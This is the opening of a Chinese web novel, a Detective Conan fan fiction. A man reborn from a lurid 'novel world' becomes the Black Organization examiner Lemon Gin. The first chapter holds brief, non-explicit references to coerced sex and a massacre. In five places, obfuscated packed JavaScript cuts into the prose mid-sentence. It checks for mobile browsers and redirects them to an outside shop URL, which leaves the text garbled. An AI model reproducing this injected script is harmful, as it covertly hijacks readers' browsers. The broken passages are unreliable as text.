《你这个直男,保直吗?》 1. 第一章(小修) 人一旦开始思考哲学,这辈子就完了。 那是一个平平无奇的夏日晚上,我被某易感期的攻狂do了7个小时后,累得躺在浴缸里放空自我。 天花板的小水珠里浓缩着无数个我,有个问题就在那个时候顺着掉落的水滴砸进了我的大脑。 我是谁? 我当然有名字,但是名字对我来说其实并不重要。因为就在我开始思考哲学的时候,我也随之洞悉了这个世界的真相。 有两个消息。一个好消息,一个坏消息。 好消息:这个世界其实是一本书,而本人不才正是这本书的男主角。 没错,整个世界都在围绕我而转动。 坏消息:这是一本重口味小簧书,内容涉及np、乱○、bdsm、强迫、窒息、口○、人外等多种元素。 这本书它没有一点剧情,0帧起手,起承转床,总之就是do啊。 所以说名字并不重要,因为根本无人在意。 我说天真蓝呀。 攻A说我给你定制了天蓝色的新狗链,你戴上真好看。 战绩:窗户、窗户和草坪,6小时不停歇。 我不再感慨大自然的伟大,转而研究精神病学,暗自发誓要治好身边的神经病们。 攻B扔掉我的书,掐着我的腰红了眼,沙哑嘶吼道:“我就知道你还是忘不了他,你还留着他给你写的情书!!” 我:??? 忘不了谁?什么情书? 战绩:书桌、地毯和沙发,整整缠绵8小时。 事实证明,精神病学可以治精神病,但治不了睁眼瞎。 人类的医学是有极限的,我转而开始寻求玄学。 星座、塔罗、mbti、礼拜、修道、再求求佛,主打一个走过路过不容错过。 最后,我成了一名马克思主义者。 世界是唯物的,神仙是骗人的。 别问我怎么知道马克思的,在这癫狂的世界,唯有马克思的真理学说闪耀着人性的光辉。 真理伴我度过黑暗的日夜,但某一天我开始讨厌它。 因为我试图杀死自我意识,它却使我更加清醒。 一个阳光灿烂的日子,我做了一个违背祖宗的决定:去他的神经病们,老子向往自由! 我从高塔之上一跃而下。 从数百米的高空往下跳的时候我才终于明白,原来—— 他爹的我竟然恐高啊!!救命!!!高空坠落好可怕!!!! 啊啪! 我死了。 …… 开玩笑的。 没死成,我又活了。准确地说,我重生了,而且是重生在新的世界。 至于我为什么会知道这是不同的世界,那是因为这个世界的流畅度和真实度明显和我那个粗制滥造的簧文世界不一样。 那感觉就像是从460p来到了4k高清,很难发现不了。 重生的1个小时后。 我按照我侍从(我猜测是我的侍从,但事后发现是判断失误)的要求换上了新衣服。 是一身很漂亮的淡蓝色和服。 在我的世界,攻H也曾送过我一身漂亮和服。 当然,它没能在我身上停留超过十分钟,就被H亲手撕裂了。他喜欢玩强迫play。 我美滋滋地在侍从的引导下进了一个花团锦簇的房间。侍从关上了门。里面的男人转过了身,看到我的瞬间目光便热油油地闪烁了起来。 这是我再熟悉不过的眼神。 原来都是一样的腐烂世界,我瞬间觉得无趣。 重生的4个小时后。 我杀了所有人。这座岛的所有人。鉴于哲学家们对人的定义大多与道德、理性和善有关,对他们究竟算不算是人,我姑且持保留意见。 我也深受重伤倒在血泊之中,天空还是那么漂亮的蓝。 我死了。 …… 开玩……也不完全算是开玩笑吧。 我死了,但没死全。 一个自称为系统的生物出现在我的脑海里,给我的唯物主义世界观造成了很大的冲击。 系统忍不住吐槽:[你一个经历过重生穿越的人为什么还有唯物主义世界观这种东西?] 谁说重生穿越和唯物主义冲突了,只要相信科学,一切皆有可能。 系统安静了好一会儿,才又接着说:[为什么我只是迟到了一小会儿,你就已经把事情搞成了这个样子,甚至人都死了!] [我没死。] 系统:[你死了,现在是我的能量在维持你的身体机能。] 我恍然大悟。 难怪呢,就说这么重的伤早该死了。 我从地上的血泊里爬起来,随手搜刮了一条干净毛巾把自己腹部那块前后吹穿堂风的洞堵上。 别说,死了就是不一样哈,这都不疼。 [所以呢,接下来该怎么办?] 系统:[你接受能力还挺强。] 那可不,在一群精神病里厮杀出来的唯一一个正常人,精神稳定得可怕。 系统:[先跟你做下自我介绍,我是来自M741星云的寻物系统。我们星云发生了超大型恶性抢劫事件,有一批宝物逸散在了地球,我接到命令要把它们找回来。 但我需要帮手,经过数值匹配,我发现你很适合干这个,于是我找上了你,并帮你重生在了这个世界的这具身体里。] 我听得津津有味,[那这具身体的原主人呢?] 系统:[死了。] [??] 系统的语气似乎有些哀怨:[他在你到来前自杀了,我花了大量能量把他的身体恢复到活人状态,又费劲把你塞进来,只是去和朋友道个别的功夫,你居然又把身体弄死了。] [呀,那真的是超级抱歉~所以现在是什么状况,我还是会死吗?] 系统:[我可以用能量维持你身体的基本机能,等我们找到所有宝物,我就可以向主星发信息派人来接,到时候续上能量再帮你把身体修好。也就是说,你必须要在我的能量耗尽之前找到所有宝物。] 能活着,我当然不想死,更何况这个寻宝工作听起来还挺有趣的。 最重要的是系统最后还加了句话。 [当然我也不会让你白干活,根据M741星云的惯例,你每找回一个宝物,就可以抽一次卡。我们的卡池奖励非常丰富,上到超能力,下到充电宝,抽卡全凭天意,绝无暗箱操作。] …… 我就这么和系统达成了苟且。 寻宝第一步,得先想个办法逃出去。 这是一座孤岛,我来到唯一的港口寻找船只,在那里遇到一个银发少年。 巧了吗这不是,我现在也是银色的头发,长长的,很顺滑;那个少年是短发,还有点炸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110944|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我赢了。 银发少年似乎不是岛上的人。 鉴于我如今寻宝猎人的身份不适合再打打杀杀,要尽快融入普通正常人的社会开展工作,因此我格外礼貌地向少年问好。 “您好,很高兴认识你。你父母还健在吗?” 银发少年辜负了我的热忱,阴沉着脸朝我走近了两步。 我吓得心脏都揪——哦不好意思,忘记死人的心脏很难揪紧了。 我拜托系统帮我模拟了心脏揪紧。 银发少年长得很好看,墨绿色的眼瞳像是黑暗里忽然睁开的黑猫的眼睛。 这很危险,他看起来很有当小簧攻的潜质。 没办法了,为了过上我渴望的平平无奇平平庸庸的普通寻宝猎人生活,我将不得不再造杀孽。 阿弥陀佛,愿玉皇大帝保佑你去往天堂,阿门。 我和银发少年同时举起了枪对准对方。 系统尖叫:[不要再受致命伤了!!地主家也没能量了!!!] 枪声没能响起。 一个拄着拐杖的老者出现,打断了我们的生死决斗。 老者问我:“岛上的人都是你杀的?” 我谦虚:“做了一些微不足道的工作。” 老者上下打量我。我在被血染红了的和服外披了一件干净外套,打扮得相当拟人。 “你看起来一点也没受伤。” 身上的洞已经被系统补好了,我理直气壮点头:“因为我超强。话说你到底是谁,为什么会来这里?” 老者微笑:“我来找一个老朋友,他已经被你杀死了,不过这样也好……你有兴趣加入我的组织吗?你可以在那里发挥你的才能。” 我犹豫。 “你杀了这么多人,就算离开这里也会很快被警察找到。你已经无路可去了。” 警察?! 对了对了,我在悬疑小说里看过这个,正常的人类社会是有警察的,他们维系着社会的和平与安定,而杀人是要坐牢的。 听起来好神奇。 心动,想试。 系统:[快答应他!!你不可以被抓进去坐牢,那样还怎么寻宝!] 也对哦。 既然得到了新的生命,我也要努力过上我理想的普通而平淡的生活:拥有10个以上的正常的朋友,住豪宅,开豪车。 书上说组织生活有利于人的社会化进程。 我同意了加入老者的组织。 往船上走的路上,我问道:“我们接下来去哪里宣誓,你们的组旗组徽是什么样的,需要几个入组介绍人,多长时间能转正?” 老者一愣,“不,没有这些东西。” 我一下子警惕起来,“什么都没有?你们这个组织到底正不正规?你们如果骗我的话,我会报警的!正义的公安警察将制裁你们!” 老者沉默了一下,登上船后,把银发少年推出来,“黑泽,你给他介绍一下组织。” 名叫黑泽的少年阴沉着脸盯着我看,整整半个小时不发一言。 这不太对劲。 我想了想,还是打算送他归西。 银发少年这时候才姗姗来话,嗓音也是阴沉的。 “你叫什么?” “什么?” “……我说你的名字。” …… 我的名字是知花裕树。 我决定留他一命。 2. 第二章 五年后,组织某据点门口,三个男人分别站了三个方向,每两个人之间都间隔两米以上的距离,谁也不搭理谁,看上去都不熟。 三人都是组织的新人,今天接到了高级成员琴酒的通知,在这里集合。 几分钟后,琴酒从据点走出,男人一身黑色风衣因为大步流星的动作在身后翻飞,银色长发冰冷地拂过冷硬的下颌骨和紧抿的唇瓣,阴鸷不耐的表情透露出他异常不爽的心情。 三人都是第一次见到这位代号为琴酒的组织top killer,也都敏锐地察觉到对方不太妙的心情,但是此刻没人知道是为什么。 跟在银发男人身边亦步亦趋的另一个高壮男人想必就是那位据说同琴酒形影不离的伏特加。 琴酒不想说话的时候,伏特加就充当了他的喉舌。 “今天带你们去莱蒙那里进行新人登记,另外还要在他那里参加新人考核。考核通过后,莱蒙会根据你们的表现确定你们将来在组织适合的定位,那之后你们才有资格得到代号。莱蒙的住址比较难找,你们开车跟在我身后。” 三人沉默地点头,坐进了组织提供的车辆。 上车的时候,诸伏景光貌似不经意地挡了一下赤井秀一的路,后者慢了半秒,降谷零坐进了驾驶座。 降谷零和诸伏景光,两人一个来自警察厅,一个来自警视厅,并且是要好的幼驯染。两人默契十足,连眼神都没交换便将车辆的掌控权握在了自己手中。 而剩下那位,赤井秀一,FBI探员,同样在执行潜入搜查任务。 三人虽然来自两个组织,此刻却都在想着同一个人—— 莱蒙。 Lemon Gin。 这是一个非常神秘的人物。无论是日本公安还是FBI,此前都曾有卧底进入过组织的外围。 虽然外围能得到的情报有限,但组织那些常露面的代号成员,比如琴酒、伏特加、基安蒂等都或多或少有信息流出来。 而这位代号为莱蒙的成员非常神秘,除了代号,对方的长相、身高、年龄,乃至性别都隐在一团迷雾中,无人知晓。 他们能得到的唯一信息就是:莱蒙是组织的代号成员考核者,是他们想要卧底到组织的核心必须要跨过的第一道槛。 …… 车辆一路开到东京郊区,七拐八拐地绕进了深山里,周围的人类活动痕迹逐渐消失,倒是鸟叫声越来越明显。 降谷零不由得怀疑了下琴酒把他们骗来一起杀的可能性……从理性上来讲没有必要,真要杀他们,刚刚在据点就能动手了。 前方的保时捷忽然停住了,两个一身黑的男人下了车。 后车三个男人互相对视一眼,也下了车。 原来前方没路了。 琴酒的脸色阴沉得像是下一秒就要开直升机把这里的树全炸了,擅长察言观色的伏特加压低了声音向三人解释道:“往这边再走个大概十分钟就到了。” 三人往他指的方向一看,竟然还要穿越树林。天色渐晚,林中黑黢黢的,清脆的鸟鸣空悠悠地传出,仿佛呼吸都带着回音。 诸伏景光终于忍不住吐槽:“莱蒙住的地方还挺别致。” 伏特加叹了口气,像是终于有人跟他说话了,他实在是不吐不快:“谁叫他这个人有被害妄想症,就喜欢住这些犄角旮旯。” 走在前面的琴酒忽然一顿,冷脸道:“伏特加,别多话。” “是,大哥!” 伏特加又压低了声音对身后三人道:“你们跟紧了,别乱走,这个树林很危险。” 很危险?降谷零在心里嘀咕着这句话,能让伏特加露出这种如临大敌的表情,应该是确有其事。他环顾四周,试图找到树林里隐藏的危险。 很快,他就知道了危险是什么。 一只鸟撞到了树上,那棵树竟然从中间裂开一道口子,三挺机关枪升了起来,对准了飞鸟,过了一会儿,似乎是发现了对方只是一只鸟,又默默收了回去,恢复平静。 琴酒冷哼了一声。 降谷零大为震撼,并从幼驯染的瞳孔里看到了同样的震惊。 不是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110945|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种东西不是一般应该出现在军事基地里的吗???为什么就这么大剌剌安在了这里?万一有人误入了怎么办?? 树林里又传出沙沙的声音,什么东西在黑暗里探出了脑袋,身上还反射着银白色的光。 三个新人的视力都非常好,看清那东西的真容后三人的动作同时一顿,瞬间呼吸放到最轻。 伏特加注意到他们的动作,回头跟他们说:“不用怕,这是莱蒙养的宠物蛇。” 赤井秀一将声音压得极轻,“这似乎是银环蛇,主要分布在东南亚和兔国南部地区,有剧毒……似乎不是可以被当成宠物蛇饲养的种类。” 而且谁家养宠物蛇是把蛇放在树林里露天养的啊,养蛇的不是最怕一觉醒来,缸里蛇不见了吗! 伏特加小声嘀咕:“谁知道那家伙怎么做到的,他的蛇还挺听话的。” 银环蛇目送几人远去后,一扭身滑溜溜地再度消失在密林深处。 降谷零三人的身体直到银环蛇的身体彻底消失仍是紧绷的。 和前面遇到的危险比起来,后面碰到的不小心踩上去会大叫“注意素质,你踩疼我了!”的假石头,感应到有东西路过会喷水的木桩子,会唱恋爱循环的等人高安娜贝尔八音盒就显得和煦如春风了。 十分钟的路程仿佛走了大半辈子,终于看到别墅大门的时候几人的目光里都多了一丝疲惫。 伏特加按响了门铃,欢快的机械音唱了起来。 “欢迎光临,莱蒙问您父母好~” 大门缓缓打开,一行大字贴在门口正对的墙上:黑衣组织新人组群服务大厅。 和树林里的光怪陆离比起来,大门内部正常得反倒令人生出几分恐惧。 明亮的灯光、柔软的沙发、结实的办公桌,还有一排书柜以及饮水机和一次性茶杯。 在伏特加没有演示前,没人敢往沙发上坐,谁知道坐上去会不会触发什么怪东西——琴酒是单纯不想坐。 房间侧面,靠近走廊那一侧的小门打开了,他们跋山涉水来寻找的主人公终于登场。 3. 第三章 能亲眼看到组织里那位神秘的莱蒙的机会可不多,三个新人都不动声色地朝来人看去,然后又都小心地遮掩住失望的神色。 因为莱蒙并没有露出他的脸,而是戴了张丑童子的面具。童子胖胖的脸被画得雪白,额头加了抬头纹,脸颊晕开两团浓艳的红晕,嘴唇处也血淋淋地糊成一团。 一眼瞥上去会让人下意识觉得恶心,甚至略微反胃。 假如拿这张面具去参加丑面具大赛,它不拿第一都属于有人暗箱操作。 卧底们的心理素质都很强悍,面对这样的精神攻击仍然面不改色。 当然,就算看不到脸,也有很多其他可以观察的信息。 莱蒙个子不矮,估摸着约有将近一米八,身材瘦削,或许是因为穿了黑色的和服,竟显得有些单薄。 他同样生着银色的头发,不长,柔顺地垂落在鬓边,藏在丑童子面具后。 银色的头发并不多见,这间屋子就有两个,而且两人的代号里都有一个gin。 难道莱蒙和琴酒之间有什么关系?降谷零暗暗想。 莱蒙进门后走了两步就停住了,然后站在离众人有一段距离的位置说话。 坦白讲,降谷零、诸伏景光和赤井秀一三人都轻轻松了口气。 那个面具实在是太丑了啊!!离得再近一点真的会把人丑吐的! 话说这个莱蒙到底是从哪里搜刮来了这么多奇奇怪怪的东西啊? 虽然作风奇怪,但莱蒙的声音听起来却是简单而干净的少年音,和他这个人给人的感觉完全不一样。 这么清冽的声音拿去配晨间浪漫爱情校园剧男主角也绰绰有余,可一想到这样的声音是从丑童子背后发出的就令人心有余悸。 莱蒙站在那里朝琴酒和伏特加的方向挥了挥手,“嗨,黑,好久不见,最近怎么样?很抱歉没有经常联系你,听说你最近又干掉几个卧底,你可真能干,我为你感到开心,哦,顺便提前祝你圣诞快乐!” 语气十分棒读。 降谷零:“……” 诸伏景光:“……” 赤井秀一:“……” 槽点太多了倒是来个人吐槽啊!这一串疑似ai生成的问候语是怎么回事,黑是谁,琴酒吗,还有现在还是夏天,这时候祝圣诞快乐是不是也太提前了啊!!! 琴酒和伏特加竟然都表现得异常平淡,仿佛对方的话没有任何奇怪之处。 继而莱蒙的视线转到降谷零、诸伏景光和赤井秀一三人身上。 他的目光来来回回将三人逡巡了几圈,尤其关注几人的脸,然后两只手揣在袖子里,好像是不经意地又朝刚走进的那扇门的方向退了半步。 “你们三个就是这次的新人?” 三人都目光一凛。 莱蒙宽大衣袖下隐约勾出的轮廓分明是一把枪。 但对方只是在袖子下悄悄把玩着,并没有真的要动手的意思。 这似乎是一个警惕性和戒备心都很强的人。 降谷零主动笑了下,表面很有礼貌地介绍道:“是,我是安室透,确实是这次的新人,非常荣幸能在这里和莱蒙先生见面。至于这两位,我也是第一次见。” 他摊了下手。按照他给安室透塑造的人设,这是一个好奇心有点旺盛、喜欢探听秘密的家伙,这类人善于交际,所以主动释放虚伪的善意非常合理。 与他相比,诸伏景光就显得有些沉闷。 “绿川希罗,也是不久前刚刚加入组织。” 赤井秀一则更言简意赅。 “诸星大。” 但莱蒙的目光瞬间落到他身上,似乎是听到了什么有趣的事,以至于不由自主往前迈了一步。 就在他要说些什么的时候,琴酒发话了:“新人考核还是和以前一样,有结果了通知我。” 男人阴鸷狠辣的目光从三个新人身上扫过,又看向莱蒙,顿了下,闭了闭眼。 这家伙到底为什么还没把这垃圾面具扔掉。每次见面都带着这个,他都快不记得对方长什么样子了。 仿佛是为了呼应内心的想法,他脑海中霎时闪过了与对方初见时他的模样。 澄澈明净的天空下,少年浑身浴血,银色长发随风而动,淡灰的眼眸里像烧着一团火。 他长得很漂亮。最初的一瞬间,琴酒曾短暂怀疑过他到底是男是女。 他既秾丽明艳,又锋利如刀,美得夺魂摄魄,嗜血又疯狂。 知花裕树。 那时候在摇晃的船上,少年说出了他的名字,不过他很快就得到了莱蒙这个代号,所以琴酒从未叫出过那个名字。 再睁开眼的时候,脑海里所有思绪全部消失不见。琴酒看了眼站得那么远的丑童子,心里啧了声。 这个身边两米以内禁止雄性生物出没的烂毛病到底还能不能改了,也没见他多喜欢女人啊。 知道对方并不属于可以正常沟通的人类,琴酒在心里骂完,表面依然冷酷沉稳地说:"boss的要求邮件发给你,我的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110946|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 莱蒙这边不仅负责代号成员的考核工作,也负责组织成员各种装备用品的维修。琴酒的伯莱.塔前段时间准星出了问题,所以送到了莱蒙这里。 要不是为了拿回伯莱.塔,他真是半步都不想踏进莱蒙的领地。 以为自己是童话公主吗在树林里整那么多乱七八糟的。 莱蒙遥遥一指:“2号柜,请自取。收货后麻烦结一下尾款,小本生意,经营不易,多谢惠顾,下次再来。” 琴酒也不废话,拿了东西转身就走。伏特加连忙跟上,还不忘给莱蒙指了指沙发。 “给你带的东西放沙发上了。” 莱蒙配合地竖起大拇指,“谢谢,伏特加,你可真是个好人!” 伏特加嘿嘿笑了下。虽然琴酒大哥似乎不太喜欢莱蒙的样子,但他倒觉得莱蒙这人还挺不错的。 莱蒙讨厌男的,连琴酒大哥都不能近他两米以内的身,他却偶尔和莱蒙有过正常社交距离的谈话——虽然说那么近的距离直面丑童子的冲击,丑得他两天吃饭都没胃口。 伏特加还挺好奇莱蒙面具下的那张脸到底长什么样的,组织里据说只有boss见过莱蒙的真容。可能还有贝尔摩德,莱蒙和贝尔摩德关系很不错。 莱蒙常年在这个独属于他的据点深居简出,有时候就会拜托伏特加帮忙带点东西。也不白带,莱蒙会按那东西市场价的三倍给他打钱。 伏特加不缺钱,不过这种态度总是让人受用的。大哥让他帮忙买东西可从没出过钱(小声)。 伏特加还想和莱蒙说两句,琴酒一个冷冷的目光扫过来,他马上噤声了,在门铃机械音唱出的“路上小心,莱蒙祝您一路顺风~”的声音中安安静静地跟着琴酒走远了。 别墅里只剩下莱蒙和三个新人。 戴着面具,身穿和服的青年依然两只手揣在袖子里,颇为客气地说了声“请坐”。 赤井秀一感觉到面具后的那双眼睛在盯着他看,一种好奇而直白的目光,好像他是什么非常有趣的玩具或动物。 明明都是第一次见面的新人,他还刻意保持了低调,但莱蒙似乎从一开始就对他格外有兴趣。 这对一个刚潜入组织的卧底而言实在算不上好事。 似乎是觉得距离太远看不真切,一直和众人保持距离的银发青年竟然走到了他面前,隔着半米的距离,清澈的少年音从丑童子血淋淋的嘴巴后面传出。 “你叫诸星大?听说你是靠你女朋友上位的?” 4. 第四章 身为代号成员考核者,需要考核的新人资料自然是一早就送到知花裕树这里了。 按照他的要求,递到他这边的资料都整理成了规规矩矩的表格,表格是这样的: 个人信息表 姓名性别年龄 身高体重血型 毕业院校学历专业 联系方式 加入组织的方式 本人签字确认日期 三年前,boss正式将考核新人的工作交给知花裕树时,他设计了这张每个即将进入组织核心的新人必填的表格。 一开始设计的表格内容更详尽,还包括居住地址、家庭成员、工作经历、入组介绍人什么的,但是boss看完沉默许久,跟知花裕树说干他们这一行的大多不愿意暴露自己的信息,搞个这种表会把大家都劝退。 知花裕树恭恭敬敬地提出反对意见。 “我听闻古人曾说防患于未然。现在组织里有这么多卧底和叛徒,只靠黑抓是抓不完的。如果用了这个表格,就可以提前掌握员工的更多信息,以免我们在一无所知的情况下上当受骗。而假如他们连这些信息都不愿意告知,又怎么能证明他们是忠诚之士呢?” Boss略一思考,觉得确实也是这么个道理,最终决定把表格删一删再让他用。 “……还有,你最近又在读什么书?” “《春秋公羊传》,我觉得里面的人说话都很有意思。” “嗯,是是。”Boss连连点头,最后还是忍不住吐槽:“但你能别学他们说话吗?” 比他一个老头子还老头子啊! 知花裕树叹了口气,决定再宠Boss一回,用那种语气说:“真拿你没办法,就听你的吧。” Boss沉默了一瞬,“这又是哪里学来的,快把那本书扔掉!” 这回轮到知花裕树沉默了。 这是攻D的口头禅,他竟然脱口而出。 觉得自己又脏了的知花裕树回到彼时刚开始打造的裕树小屋自闭了三天。 在诸星大的个人信息表上,加入组织的方式一栏写的是:雪莉引荐。 雪莉是组织的研究员,她还有个姐姐,名叫宫野明美,是组织的外围成员。知花裕树从自己的消息渠道得知那位宫野明美就是诸星大的女友,也是她将诸星大引荐给了雪莉,才让他接触到组织。 由于这几年深居简出,这还是知花裕树人生中第一次碰到会自己交女朋友的男人。 稀奇,且令人感动。 “好好对你女朋友,你们千万要百年好合、永结同心啊。”知花裕树送上了真诚的祝福。他自以为的真诚。 一个出身危险组织,戴着诡异又丑陋的面具的男人慢悠悠地先是说你靠女朋友上位,又让你好好对女朋友,还说什么百年好合、永结同心,别说赤井秀一,围观的降谷零和诸伏景光都觉得他在阴阳怪气。 可能莱蒙看不起靠女人上位的人吧,两人在心里分析着。 赤井秀一心里也是这么想的,但人在屋檐下,他只能淡淡地说:“多谢。” 知花裕树没感觉到这些暗流涌动。看不到丑童子面具的他体会不到这个面具有多大的杀伤力,他只知道这是他平静生活的保护神器。 【绝丑的面具】是知花裕树从系统那里抽到的第一个奖励。 【绝丑的面具】 不知道制作人是在怎么样的精神状态下做出了本面具,因为太过丑陋竟然会导致精神污染。佩戴本面具后,将自动触发退避三舍的效果,精神不够强大的人甚至无法在你身边停留太久。不想被孤立的话,建议快点将本品销毁。 系统:[啊,你手气真差。] 知花裕树:[这个好这个好!] 系统:[?] 打那以后,这个面具就成了知花裕树最爱的时尚单品。只要戴上这顶面具,他就觉得自己充满了安全感。 后来,知花裕树又用抽到的奖励和定制的道具打造了自己的裕树小屋,当年认识boss时许下的想要过普通而平淡的生活的愿望如今已经实现了一半:豪宅和豪车。 至于10个以上的朋友……快了快了。 系统冷笑一声:[天天戴着你那个丑面具来回晃,这辈子也交不到朋友的!] 因为这个面具导致知花裕树越来越不想出门社交,逐渐把自己的生活过得像山顶洞人,严重影响了寻宝进度,导致系统也对此积怨久矣。 知花裕树自动过滤掉脑子里不想听的话。 不听不听,王八念经。 手机收到了琴酒的短信。 [观察一下三人里有没有混进来卧底。——Gin] 知花裕树看着后缀的代号撇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110947|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撇嘴。 当年他在那座岛上第一次碰到琴酒时对方还没有代号。不过那次任务就是琴酒的代号任务,离开小岛后,boss很快就给了他代号。 知花裕树因为特殊战绩也在离岛的一个月后就拿到了代号。 Boss特别允许他自己挑,他挑了“Gin”。他喜欢Gin的发音和味道。 Boss说不行,这个已经给了黑泽。 知花裕树只好退而求其次,选了“Lemon Gin”,表示他现在不是纯粹的Gin了,他是酸得要命的Gin。 因为酸得要命,所以他从来不叫琴酒的代号,只称呼他“黑”。 合上手机,知花裕树又在心里挠了两下抢他代号的黑泽,诅咒他上完厕所才发现没纸,然后对三个新人说:“走吧,跟我来,给你们说一下这次的考核任务。” 知花裕树终于把揣在袖子里的手拿了出来,但依然注意着跟其他人保持距离,尤其是安室透和绿川希罗。 这两个人脸长得一个比一个好看,身高够高,身材也够好,属于五级危险人物。 也就是他只负责考核不负责招聘,不然说什么也不会允许这些长得特别好看的加入组织。 就应该全招伏特加那种,脸上就写着安全可靠。或者诸星大这种,虽然长得比较危险,但行事相当沉稳,一看就前途无量。 知花裕树领着三人穿过一道走廊,拉开门,冷风吹了出来。 屋里的温度比走廊似乎低了不少,诸伏景光走进来时甚至打了小小的寒噤,他是那种稍微有点怕冷的体质。 这间屋子是个卧室。 卧室的构造非常简单,但面积很大,差不多得有60平。一侧放了张大床,旁边摆着一张长沙发。 另一侧又是一道门。 为什么会带他们来卧室?三人心中同时浮现这个疑问。 而银发青年脚步未停,继续带着他们往前走,穿过卧室,到另一扇门前。 “这里就是你们的任务地点。”银发青年抬起手臂推门的时候,宽大的和服袖摆滑落些许,安室透眼尖地发现对方手臂上似乎有一道疤。 手臂很快就垂落了,衣袖再度将身体遮掩。 房门大开,森然的冷气扑出,轻轻的咝咝声在房间黑暗的深处响起。 这竟然是一间太.平间。 5. 第五章(小修) 不是,谁家好人卧室直通太.平间啊? 三个卧底的心声此刻再次无声达成了一致。经过短暂地和莱蒙的交流,他们都发现这个人是个很诡异的人。 是的,奇怪已经不足以形容他了。 甚至可以说,这个人浑身都透着一股子非人感,虽然也有说人话、做人事的时候,但是过不了一会儿就会在细节上显出一种拟人的状态。 好像神鬼故事里的妖怪,只是努力在装得像人。 琴酒跟他比,都算是直白易懂、心思纯澈。 比如说此刻。 卧室直通太平间也就算了,他们之前在树林里见过的那条银环蛇居然从门里悠悠地游了出来——看起来刚刚的丝丝声就是它发出的。 而银发青年居然对着这样一条蛇轻快地叫了声“葡萄酒”,银环蛇又咝咝了两声,加速游到他身边,顺着对方放下的手臂游到青年的脖颈处盘卧下来,美美地蹭了蹭他的下巴。 蛇……什么时候是这么通人性的生物了? 似乎是注意到了他们淡淡的震惊,银发青年对他们解释道:“这是我的宠物蛇,大名叫美蛇丸,小名叫葡萄酒,它很乖吧?” 谁问你它的名字了! 诸伏景光最先回过神,附和道:“确实看起来很乖巧,很少会有蛇这么乖。” 莱蒙不是人的证据再加一。 银发青年似乎很高兴听到有人夸他的蛇,嗓音都高昂了许多,“嗯,葡萄酒确实很乖,它是我最好的朋友!” 知花裕树:[谁说蛇不能做朋友的,朋友+1!] 系统:[呵呵,骗骗别人也就算了,别把自己骗了。] 葡萄酒同样是知花裕树抽出的卡池奖励。 【通灵玩具蛇】 爱蛇人员的福利来了!某公司最新开发的一款仿生玩具蛇,外表习性一比一仿真,佩戴相应耳钉即可通过意志实现实时操控,万圣节吓人必备! 没错,葡萄酒之所以看上去这么有灵性,那是因为知花裕树在操纵它;他没有操纵它的时候,它就是一条只会傻傻转圈的痴呆蛇。 知花裕树再度发动听不到不想听的话技能,摸了摸葡萄酒的小脑袋,带着三人走入太.平间,打开灯,把桌子上一份文件袋交给了离他最近的诸星大。 这种环境下,他脸上那张面具丑陋之余又多了几分恐怖,更何况脸旁还盘踞着一条咝来咝去的毒蛇。 诸星大倒是面色平淡,接过资料时甚至同对方面具后的眼睛对视了一瞬。 知花裕树贴心地为三人说明任务。 “两天前,组织的研究所研究员白鸟龙太被发现死在了自己的公寓里。因为房间是个密室,警方最后以自杀结案。但我认为这件案子没那么简单,白鸟龙太过得好好的,朝五晚九地上班,上周六周日也都在研究所勤勤恳恳地加班,黑还去研究所探视慰问了他们,怎么想都没有自杀的理由。” 不,这些理由就很充分了! “所以我怀疑他很可能是被杀害的。案发当天,据说曾有三个人到过白鸟龙太的家,分别是他的邻居、外卖员以及他以前的同事,凶手大概率就在这三个人中。” “文件袋里是白鸟龙太的相关资料,以及一份我让组织研究员写的尸检报告,研究员不是专业人士,尸检报告仅供参考。哦对了,死者的尸体就在3号柜里,你们可以亲自查验一下——这也算在考核范围里。” 三人都沉默了一下。 安室透忍不住说:“这是法医的工作吧?为什么我们还要干这个?” 面具后的眼睛瞥了他一下。 “因为招不到法医。” 安室透:“……” 看到幼驯染吃瘪,诸伏景光忍着笑正经地问:“我们的任务就是找到杀害白鸟龙太的凶手?” 这其实有点奇怪,一个违法犯罪组织发布的任务既不是杀人抢劫,也不是情报交易,而竟然是调查凶手。 